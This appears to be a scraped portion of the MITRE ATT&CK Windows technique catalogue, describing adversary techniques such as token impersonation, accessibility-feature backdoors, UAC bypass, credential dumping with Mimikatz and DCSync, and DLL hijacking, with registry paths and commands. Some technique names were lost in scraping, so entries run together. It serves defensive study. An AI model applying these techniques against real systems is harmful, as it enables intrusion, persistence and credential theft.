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# Windows Techniques

NameTacticsIDTechnical Description
Privilege Escalation
T1134Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token. For example, Microsoft promotes the use of access tokens as a security best practice. Administrators should log in as a standard user but run their tools with administrator privileges using the built-in access token manipulation command runas. 1

Token Impersonation/Theft - An adversary creates a new access token that duplicates an existing token using DuplicateToken(Ex). The token can then be used with ImpersonateLoggedOnUser to allow the calling thread to impersonate a logged on user's security context, or with SetThreadToken to assign the impersonated token to a thread. This is useful for when the target user has a non-network logon session on the system.

Create Process with a Token - An adversary creates a new access token with DuplicateToken(Ex) and uses it with CreateProcessWithTokenW to create a new process running under the security context of the impersonated user. This is useful for creating a new process under the security context of a different user.

Make and Impersonate Token - An adversary has a username and password but the user is not logged onto the system. The adversary can then create a logon session for the user using the LogonUser function. The function will return a copy of the new session's access token and the adversary can use SetThreadToken to assign the token to a thread.

Any standard user can use the runas command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account.

Metasploit’s Meterpreter payload allows arbitrary token manipulation and uses token impersonation to escalate privileges. 4 The Cobalt Strike beacon payload allows arbitrary token impersonation and can also create tokens. 5
Accessibility FeaturesPersistence
Privilege Escalation
T1015Windows contains accessibility features that may be launched with a key combination before a user has logged in (for example, when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.

Two common accessibility programs are C:\Windows\System32\sethc.exe, launched when the shift key is pressed five times and C:\Windows\System32\utilman.exe, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as "sticky keys", and has been used by adversaries for unauthenticated access through a remote desktop login screen.6

Depending on the version of Windows, an adversary may take advantage of these features in different ways because of code integrity enhancements. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in %systemdir%\, and it must be protected by Windows File or Resource Protection (WFP/WRP).7 The debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced. Examples for both methods:

For simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., C:\Windows\System32\utilman.exe) may be replaced with "cmd.exe" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over Remote Desktop Protocol will cause the replaced file to be executed with SYSTEM privileges.8

For the debugger method on Windows Vista and later as well as Windows Server 2008 and later, for example, a Registry key may be modified that configures "cmd.exe," or another program that provides backdoor access, as a "debugger" for the accessibility program (e.g., "utilman.exe"). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with RDP will cause the "debugger" program to be executed with SYSTEM privileges.8

Other accessibility features exist that may also be leveraged in a similar fashion:7

• On-Screen Keyboard: C:\Windows\System32\osk.exe
• Magnifier: C:\Windows\System32\Magnify.exe
• Narrator: C:\Windows\System32\Narrator.exe
• Display Switcher: C:\Windows\System32\DisplaySwitch.exe
• App Switcher: C:\Windows\System32\AtBroker.exe
Account DiscoveryDiscoveryT1087Adversaries may attempt to get a listing of local system or domain accounts.

### Windows

Example commands that can acquire this information are net user, net group <groupname>, and net localgroup <groupname> using the Net utility or through use of dsquery. If adversaries attempt to identify the primary user, currently logged in user, or set of users that commonly uses a system, System Owner/User Discovery may apply.

### Mac

On Mac, groups can be enumerated through the groups and id commands. In mac specifically, dscl . list /Groups and dscacheutil -q group can also be used to enumerate groups and users.

### Linux

On Linux, local users can be enumerated through the use of the /etc/passwd file which is world readable. In mac, this same file is only used in single-user mode in addition to the /etc/master.passwd file.

Also, groups can be enumerated through the groups and id commands. In mac specifically, dscl . list /Groups and dscacheutil -q group can also be used to enumerate groups and users.
Account ManipulationCredential AccessT1098Account manipulation may aid adversaries in maintaining access to credentials and certain permission levels within an environment. Manipulation could consist of modifying permissions, modifying credentials, adding or changing permission groups, modifying account settings, or modifying how authentication is performed. In order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain.
AppCert DLLsPersistence
Privilege Escalation
T1182Dynamic-link libraries (DLLs) that are specified in the AppCertDLLs value in the Registry key HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager are loaded into every process that calls the ubiquitously used application programming interface (API) functions:9
• CreateProcess
• CreateProcessAsUser
• CreateProcessWithTokenW
• WinExec
Similar to Process Injection, this value can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer.
AppInit DLLsPersistence
Privilege Escalation
T1103Dynamic-link libraries (DLLs) that are specified in the AppInit_DLLs value in the Registry keys HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows or HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library.9 Similar to Process Injection, these values can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer.10 The AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled.11
Application Deployment SoftwareLateral MovementT1017Adversaries may deploy malicious software to systems within a network using application deployment systems employed by enterprise administrators. The permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the deployment server, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform software deployment. Access to a network-wide or enterprise-wide software deployment system enables an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.
Application ShimmingPersistence
Privilege Escalation
T1138The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow backward compatibility of programs as Windows updates and changes its code. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10.9 Within the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses Hooking to redirect the code as necessary in order to communicate with the OS. A list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:
• %WINDIR%\AppPatch\sysmain.sdb
• hklm\software\microsoft\windows nt\currentversion\appcompatflags\installedsdb

Custom databases are stored in:

• %WINDIR%\AppPatch\custom & %WINDIR%\AppPatch\AppPatch64\Custom
• hklm\software\microsoft\windows nt\currentversion\appcompatflags\custom
To keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to Bypass User Account Control (UAC) (RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress). Similar to Hooking, utilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc.
Application Window DiscoveryDiscoveryT1010Adversaries may attempt to get a listing of open application windows. Window listings could convey information about how the system is used or give context to information collected by a keylogger. In Mac, this can be done natively with a small AppleScript script.
Audio CaptureCollectionT1123An adversary can leverage a computer's peripheral devices (e.g., microphones and webcams) or applications (e.g., voice and video call services) to capture audio recordings for the purpose of listening into sensitive conversations to gather information. Malware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture audio. Audio files may be written to disk and exfiltrated later.
Authentication PackagePersistenceT1131Windows Authentication Package DLLs are loaded by the Local Security Authority (LSA) process at system start. They provide support for multiple logon processes and multiple security protocols to the operating system.12 Adversaries can use the autostart mechanism provided by LSA Authentication Packages for persistence by placing a reference to a binary in the Windows Registry location HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ with the key value of "Authentication Packages"=<target binary>. The binary will then be executed by the system when the authentication packages are loaded.
Automated CollectionCollectionT1119Once established within a system or network, an adversary may use automated techniques for collecting internal data. Methods for performing this technique could include use of Scripting to search for and copy information fitting set criteria such as file type, location, or name at specific time intervals. This functionality could also be built into remote access tools. This technique may incorporate use of other techniques such as File and Directory Discovery and Remote File Copy to identify and move files.
Automated ExfiltrationExfiltrationT1020Data, such as sensitive documents, may be exfiltrated through the use of automated processing or Scripting after being gathered during Collection. When automated exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as Exfiltration Over Command and Control Channel and Exfiltration Over Alternative Protocol.
Binary PaddingDefense EvasionT1009Some security tools inspect files with static signatures to determine if they are known malicious. Adversaries may add data to files to increase the size beyond what security tools are capable of handling or to change the file hash to avoid hash-based blacklists.
BootkitPersistenceT1067A bootkit is a malware variant that modifies the boot sectors of a hard drive, including the Master Boot Record (MBR) and Volume Boot Record (VBR).13

Adversaries may use bootkits to persist on systems at a layer below the operating system, which may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.

### Master Boot Record

The MBR is the section of disk that is first loaded after completing hardware initialization by the BIOS. It is the location of the boot loader. An adversary who has raw access to the boot drive may overwrite this area, diverting execution during startup from the normal boot loader to adversary code.14

### Volume Boot Record

The MBR passes control of the boot process to the VBR. Similar to the case of MBR, an adversary who has raw access to the boot drive may overwrite the VBR to divert execution during startup to adversary code.
Browser ExtensionsCollection
Persistence
T1176Browser extensions or plugins are small programs that can add functionality and customize aspects of internet browsers. They can be installed directly or through a browser's app store. Extensions generally have access and permissions to everything that the browser can access.1516 Malicious extensions can be installed into a browser through malicious app store downloads masquerading as legitimate extensions, through social engineering, or by an adversary that has already compromised a system. Security can be limited on browser app stores so may not be difficult for malicious extensions to defeat automated scanners and be uploaded.17 Once the extension is installed, it can browse to websites in the background,1819 steal all information that a user enters into a browser, to include credentials,2021 and be used as an installer for a RAT for persistence. There have been instances of botnets using a persistent backdoor through malicious Chrome extensions.22 There have also been similar examples of extensions being used for command & control 23.

Credential Dumping to obtain password hashes may only get an adversary so far when Pass the Hash is not an option. Techniques to systematically guess the passwords used to compute hashes are available, or the adversary may use a pre-computed rainbow table. Cracking hashes is usually done on adversary-controlled systems outside of the target network.24

Adversaries may attempt to brute force logins without knowledge of passwords or hashes during an operation either with zero knowledge or by attempting a list of known or possible passwords. This is a riskier option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies.25

A related technique called password spraying uses one password, or a small list of passwords, that matches the complexity policy of the domain and may be a commonly used password. Logins are attempted with that password and many different accounts on a network to avoid account lockouts that would normally occur when brute forcing a single account with many passwords.26
Bypass User Account ControlDefense Evasion
Privilege Escalation
T1088Windows User Account Control (UAC) allows a program to elevate its privileges to perform a task under administrator-level permissions by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.27

If the UAC protection level of a computer is set to anything but the highest level, certain Windows programs are allowed to elevate privileges or execute some elevated COM objects without prompting the user through the UAC notification box.2829 An example of this is use of rundll32.exe to load a specifically crafted DLL which loads an auto-elevated COM object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user.30 Adversaries can use these techniques to elevate privileges to administrator if the target process is unprotected.

Many methods have been discovered to bypass UAC. The Github readme page for UACMe contains an extensive list of methods31 that have been discovered and implemented within UACMe, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:

• eventvwr.exe can auto-elevate and execute a specified binary or script.3233
Another bypass is possible through some Lateral Movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on lateral systems and default to high integrity.34
Change Default File AssociationPersistenceT1042When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access.3536 Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.

System file associations are listed under HKEY_CLASSES_ROOT\.[extension], for example HKEY_CLASSES_ROOT\.txt. The entries point to a handler for that extension located at HKEY_CLASSES_ROOT\[handler]. The various commands are then listed as subkeys underneath the shell key at HKEY_CLASSES_ROOT\[handler]\shell\[action]\command. For example:

• HKEY_CLASSES_ROOT\txtfile\shell\open\command
• HKEY_CLASSES_ROOT\txtfile\shell\print\command
• HKEY_CLASSES_ROOT\txtfile\shell\printto\command
The values of the keys listed are commands that are executed when the handler opens the file extension. Adversaries can modify these values to execute arbitrary commands.
Clipboard DataCollectionT1115Adversaries may collect data stored in the Windows clipboard from users copying information within or between applications.

### Windows

Applications can access clipboard data by using the Windows API.37

### Mac

OSX provides a native command, pbpaste, to grab clipboard contents 38.
Code SigningDefense EvasionT1116Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with.39 However, adversaries are known to use code signing certificates to masquerade malware and tools as legitimate binaries40. The certificates used during an operation may be created, forged, or stolen by the adversary.4142

Code signing to verify software on first run can be used on modern Windows and macOS/OS X systems. It is not used on Linux due to the decentralized nature of the platform.39

Code signing certificates may be used to bypass security policies that require signed code to execute on a system.
Command-Line InterfaceExecutionT1059Command-line interfaces provide a way of interacting with computer systems and is a common feature across many types of operating system platforms.43 One example command-line interface on Windows systems is cmd, which can be used to perform a number of tasks including execution of other software. Command-line interfaces can be interacted with locally or remotely via a remote desktop application, reverse shell session, etc. Commands that are executed run with the current permission level of the command-line interface process unless the command includes process invocation that changes permissions context for that execution (e.g. Scheduled Task). Adversaries may use command-line interfaces to interact with systems and execute other software during the course of an operation.
Commonly Used PortCommand and ControlT1043Adversaries may communicate over a commonly used port to bypass firewalls or network detection systems and to blend with normal network activity to avoid more detailed inspection. They may use commonly open ports such as
• TCP:80 (HTTP)
• TCP:443 (HTTPS)
• TCP:25 (SMTP)
• TCP/UDP:53 (DNS)

They may use the protocol associated with the port or a completely different protocol.

For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), examples of common ports are

• TCP/UDP:135 (RPC)
• TCP/UDP:22 (SSH)
• TCP/UDP:3389 (RDP)
Communication Through Removable MediaCommand and ControlT1092Adversaries can perform command and control between compromised hosts on potentially disconnected networks using removable media to transfer commands from system to system. Both systems would need to be compromised, with the likelihood that an Internet-connected system was compromised first and the second through lateral movement by Replication Through Removable Media. Commands and files would be relayed from the disconnected system to the Internet-connected system to which the adversary has direct access.
Component FirmwareDefense Evasion
Persistence
T1109Some adversaries may employ sophisticated means to compromise computer components and install malicious firmware that will execute adversary code outside of the operating system and main system firmware or BIOS. This technique may be similar to System Firmware but conducted upon other system components that may not have the same capability or level of integrity checking. Malicious device firmware could provide both a persistent level of access to systems despite potential typical failures to maintain access and hard disk re-images, as well as a way to evade host software-based defenses and integrity checks.
Component Object Model HijackingDefense Evasion
Persistence
T1122The Microsoft Component Object Model (COM) is a system within Windows to enable interaction between software components through the operating system.44 Adversaries can use this system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Windows Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead.45 An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection.
Connection ProxyCommand and ControlT1090A connection proxy is used to direct network traffic between systems or act as an intermediary for network communications. Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN, ZXProxy, and ZXPortMap.46

The definition of a proxy can also be expanded out to encompass trust relationships between networks in peer-to-peer, mesh, or trusted connections between networks consisting of hosts or systems that regularly communicate with each other.

The network may be within a single organization or across organizations with trust relationships. Adversaries could use these types of relationships to manage command and control communications, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion.
Create AccountPersistenceT1136Adversaries with a sufficient level of access may create a local system or domain account. Such accounts may be used for persistence that do not require persistent remote access tools to be deployed on the system. The net user commands can be used to create a local or domain account.
Credential DumpingCredential AccessT1003Credential dumping is the process of obtaining account login and password information from the operating system and software. Credentials can be used to perform Lateral Movement and access restricted information.

Tools may dump credentials in many different ways: extracting credential hashes for offline cracking, extracting plaintext passwords, and extracting Kerberos tickets, among others. Examples of credential dumpers include pwdump7, Windows Credential Editor, Mimikatz, and gsecdump. These tools are in use by both professional security testers and adversaries.

Plaintext passwords can be obtained using tools such as Mimikatz to extract passwords stored by the Local Security Authority (LSA). If smart cards are used to authenticate to a domain using a personal identification number (PIN), then that PIN is also cached as a result and may be dumped.47

DCSync is a variation on credential dumping which can be used to acquire sensitive information from a domain controller. Rather than executing recognizable malicious code, the action works by abusing the domain controller's application programming interface (API)48495051 to simulate the replication process from a remote domain controller. Any members of the Administrators, Domain Admins, Enterprise Admin groups or computer accounts on the domain controller are able to run DCSync to pull password data 52 from Active Directory, which may include current and historical hashes of potentially useful accounts such as KRBTGT and Administrators. The hashes can then in turn be used to create a Golden Ticket for use in Pass the Ticket53 or change an account's password as noted in Account Manipulation.54 DCSync functionality has been included in the "lsadump" module in Mimikatz.55 Lsadump also includes NetSync, which performs DCSync over a legacy replication protocol.56
Credentials in FilesCredential AccessT1081Adversaries may search local file systems and remote file shares for files containing passwords. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords. It is possible to extract passwords from backups or saved virtual machines through Credential Dumping.57 Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller.58
Custom Command and Control ProtocolCommand and ControlT1094Adversaries may communicate using a custom command and control protocol instead of using existing Standard Application Layer Protocol to encapsulate commands. Implementations could mimic well-known protocols.
Custom Cryptographic ProtocolCommand and ControlT1024Adversaries may use a custom cryptographic protocol or algorithm to hide command and control traffic. A simple scheme, such as XOR-ing the plaintext with a fixed key, will produce a very weak ciphertext.

Custom encryption schemes may vary in sophistication. Analysis and reverse engineering of malware samples may be enough to discover the algorithm and encryption key used.

Some adversaries may also attempt to implement their own version of a well-known cryptographic algorithm instead of using a known implementation library, which may lead to unintentional errors.59
DLL Search Order HijackingDefense Evasion
Persistence
Privilege Escalation
T1038Windows systems use a common method to look for required DLLs to load into a program.60 Adversaries may take advantage of the Windows DLL search order and programs that ambiguously specify DLLs to gain privilege escalation and persistence.

Adversaries may perform DLL preloading, also called binary planting attacks,61 by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program. Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL.62 Adversaries may use this behavior to cause the program to load a malicious DLL.

Adversaries may also directly modify the way a program loads DLLs by replacing an existing DLL or modifying a .manifest or .local redirection file, directory, or junction to cause the program to load a different DLL to maintain persistence or privilege escalation.636465

If a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program.

Programs that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace.
Data CompressedExfiltrationT1002An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network. The compression is done separately from the exfiltration channel and is performed using a custom program or algorithm, or a more common compression library or utility such as 7zip, RAR, ZIP, or zlib.
Data EncodingCommand and ControlT1132Command and control (C2) information is encoded using a standard data encoding system. Use of data encoding may be to adhere to existing protocol specifications and includes use of ASCII, Unicode, Base64, MIME, UTF-8, or other binary-to-text and character encoding systems.6869 Some data encoding systems may also result in data compression, such as gzip.
Data EncryptedExfiltrationT1022Data is encrypted before being exfiltrated in order to hide the information that is being exfiltrated from detection or to make the exfiltration less conspicuous upon inspection by a defender. The encryption is performed by a utility, programming library, or custom algorithm on the data itself and is considered separate from any encryption performed by the command and control or file transfer protocol. Common file archive formats that can encrypt files are RAR and zip. Other exfiltration techniques likely apply as well to transfer the information out of the network, such as Exfiltration Over Command and Control Channel and Exfiltration Over Alternative Protocol
Data ObfuscationCommand and ControlT1001Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, commingling legitimate traffic with C2 communications traffic, or using a non-standard data encoding system, such as a modified Base64 encoding for the message body of an HTTP request.
Data StagedCollectionT1074Collected data is staged in a central location or directory prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as Data Compressed or Data Encrypted. Interactive command shells may be used, and common functionality within cmd and bash may be used to copy data into a staging location.
Data Transfer Size LimitsExfiltrationT1030An adversary may exfiltrate data in fixed size chunks instead of whole files or limit packet sizes below certain thresholds. This approach may be used to avoid triggering network data transfer threshold alerts.
Data from Local SystemCollectionT1005Sensitive data can be collected from local system sources, such as the file system or databases of information residing on the system prior to Exfiltration. Adversaries will often search the file system on computers they have compromised to find files of interest. They may do this using a Command-Line Interface, such as cmd, which has functionality to interact with the file system to gather information. Some adversaries may also use Automated Collection on the local system.
Data from Network Shared DriveCollectionT1039Sensitive data can be collected from remote systems via shared network drives (host shared directory, network file server, etc.) that are accessible from the current system prior to Exfiltration. Adversaries may search network shares on computers they have compromised to find files of interest. Interactive command shells may be in use, and common functionality within cmd may be used to gather information.
Data from Removable MediaCollectionT1025Sensitive data can be collected from any removable media (optical disk drive, USB memory, etc.) connected to the compromised system prior to Exfiltration. Adversaries may search connected removable media on computers they have compromised to find files of interest. Interactive command shells may be in use, and common functionality within cmd may be used to gather information. Some adversaries may also use Automated Collection on removable media.
Deobfuscate/Decode Files or InformationDefense EvasionT1140Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware, Scripting, PowerShell, or by using utilities present on the system. One such example is use of certutil to decode a remote access tool portable executable file that has been hidden inside a certificate file.70
Disabling Security ToolsDefense EvasionT1089Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security scanning or event reporting.
Distributed Component Object ModelLateral MovementT1175Windows Distributed Component Object Model (DCOM) is transparent middleware that extends the functionality of Component Object Model (COM)71 beyond a local computer using remote procedure call (RPC) technology. COM is a component of the Windows application programming interface (API) that enables interaction between software objects. Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE).

Permissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry.727374 By default, only Administrators may remotely activate and launch COM objects through DCOM.

Adversaries may use DCOM for lateral movement. Through DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications75 as well as other Windows objects that contain insecure methods.7677 DCOM can also execute macros in existing documents78 and may also invoke Dynamic Data Exchange (DDE) execution directly through a COM created instance of a Microsoft Office application79, bypassing the need for a malicious document.
Domain FrontingCommand and ControlT1172Domain fronting takes advantage of routing schemes in Content Delivery Networks (CDNs) and other services which host multiple domains to obfuscate the intended destination of HTTPS traffic or traffic tunneled through HTTPS.80 The technique involves using different domain names in the SNI field of the TLS header and the Host field of the HTTP header. If both domains are served from the same CDN, then the CDN may route to the address specified in the HTTP header after unwrapping the TLS header. A variation of the the technique, "domainless" fronting, utilizes a SNI field that is left blank; this may allow the fronting to work even when the CDN attempts to validate that the SNI and HTTP Host fields match (if the blank SNI fields are ignored). For example, if domain-x and domain-y are customers of the same CDN, it is possible to place domain-x in the TLS header and domain-y in the HTTP header. Traffic will appear to be going to domain-x, however the CDN may route it to domain-y.
Dynamic Data ExchangeExecutionT1173Windows Dynamic Data Exchange (DDE) is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution.

Object Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. Despite being superseded by COM, DDE is still enabled in Windows 10 and most of Microsoft Office 2016 (a December 2017 patch created a Registry key that disables DDE in Word by default).81

Adversaries may use DDE to execute arbitrary commands. Microsoft Office documents can be poisoned with DDE commands8283 and used to deliver execution via spear phishing campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros.84 DDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to command line execution.
Email CollectionCollectionT1114Adversaries may target user email to collect sensitive information from a target.

Files containing email data can be acquired from a user's system, such as Outlook storage or cache files .pst and .ost.

Adversaries may leverage a user's credentials and interact directly with the Exchange server to acquire information from within a network.

Some adversaries may acquire user credentials and access externally facing webmail applications, such as Outlook Web Access.
Execution through APIExecutionT1106Adversary tools may directly use the Windows application programming interface (API) to execute binaries. Functions such as the Windows API CreateProcess will allow programs and scripts to start other processes with proper path and argument parameters.85

Additional Windows API calls that can be used to execute binaries include:86

• CreateProcessA() and CreateProcessW(),
• CreateProcessAsUserA() and CreateProcessAsUserW(),
• CreateProcessInternalA() and CreateProcessInternalW(),
• CreateProcessWithLogonW(), CreateProcessWithTokenW(),
• WinExec(),
• ShellExecuteA() and ShellExecuteW(),
• ShellExecuteExA() and ShellExecuteExW()
Execution through Module LoadExecutionT1129The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows Native API which is called from functions like CreateProcess(), LoadLibrary(), etc. of the Win32 API.87

• via specification of the (fully-qualified or relative) DLL pathname in the IMPORT directory;
• via EXPORT forwarded to another DLL, specified with (fully-qualified or relative) pathname (but without extension);
• via an NTFS junction or symlink program.exe.local with the fully-qualified or relative pathname of a directory containing the DLLs specified in the IMPORT directory or forwarded EXPORTs;
• via <file name="filename.extension" loadFrom="fully-qualified or relative pathname"> in an embedded or external "application manifest". The file name refers to an entry in the IMPORT directory or a forwarded EXPORT.
Adversaries can use this functionality as a way to execute arbitrary code on a system.
Exfiltration Over Alternative ProtocolExfiltrationT1048Data exfiltration is performed with a different protocol from the main command and control protocol or channel. The data is likely to be sent to an alternate network location from the main command and control server. Alternate protocols include FTP, SMTP, HTTP/S, DNS, or some other network protocol. Different channels could include Internet Web services such as cloud storage.
Exfiltration Over Command and Control ChannelExfiltrationT1041Data exfiltration is performed over the Command and Control channel. Data is encoded into the normal communications channel using the same protocol as command and control communications.
Exfiltration Over Other Network MediumExfiltrationT1011Exfiltration could occur over a different network medium than the command and control channel. If the command and control network is a wired Internet connection, the exfiltration may occur, for example, over a WiFi connection, modem, cellular data connection, Bluetooth, or another radio frequency (RF) channel. Adversaries could choose to do this if they have sufficient access or proximity, and the connection might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network.
Exfiltration Over Physical MediumExfiltrationT1052In certain circumstances, such as an air-gapped network compromise, exfiltration could occur via a physical medium or device introduced by a user. Such media could be an external hard drive, USB drive, cellular phone, MP3 player, or other removable storage and processing device. The physical medium or device could be used as the final exfiltration point or to hop between otherwise disconnected systems.
Exploitation of VulnerabilityCredential Access
Defense Evasion
Lateral Movement
Privilege Escalation
T1068Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Exploiting software vulnerabilities may allow adversaries to run a command or binary on a remote system for lateral movement, escalate a current process to a higher privilege level, or bypass security mechanisms. Exploits may also allow an adversary access to privileged accounts and credentials. One example of this is MS14-068, which can be used to forge Kerberos tickets using domain user permissions.8889
External Remote ServicesPersistenceT1133Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services. Services such as Windows Remote Management can also be used externally. Adversaries may use remote services to access and persist within a network.90 Access to Valid Accounts to use the service is often a requirement, which could be obtained through credential pharming or by obtaining the credentials from users after compromising the enterprise network. Access to remote services may be used as part of Redundant Access during an operation.
Extra Window Memory InjectionDefense Evasion
Privilege Escalation
T1181Before creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data).91 Registration of new windows classes can include a request for up to 40 bytes of extra window memory (EWM) to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value.9293

Although small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure. Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process’s memory, placing a pointer to the code in EWM, then invoking execution by returning execution control to the address in the process’s EWM.

Execution granted through EWM injection may take place in the address space of a separate live process. Similar to Process Injection, this may allow access to both the target process's memory and possibly elevated privileges. Writing payloads to shared sections also avoids the use of highly monitored API calls such as WriteProcessMemory and CreateRemoteThread.9 More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process.9495
Fallback ChannelsCommand and ControlT1008Adversaries may use fallback or alternate communication channels if the primary channel is compromised or inaccessible in order to maintain reliable command and control and to avoid data transfer thresholds.
File DeletionDefense EvasionT1107Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces behind as to what was done within a network and how. Adversaries may remove these files over the course of an intrusion to keep their footprint low or remove them at the end as part of the post-intrusion cleanup process. There are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well. Examples include native cmd functions such as DEL, secure deletion tools such as Windows Sysinternals SDelete, or other third-party file deletion tools.46
File System Logical OffsetsDefense EvasionT1006Windows allows programs to have direct access to logical volumes. Programs with direct access may read and write files directly from the drive by analyzing file system data structures. This technique bypasses Windows file access controls as well as file system monitoring tools.96 Utilities, such as NinjaCopy, exist to perform these actions in PowerShell.97
File System Permissions WeaknessPersistence
Privilege Escalation
T1044Processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.

Adversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.

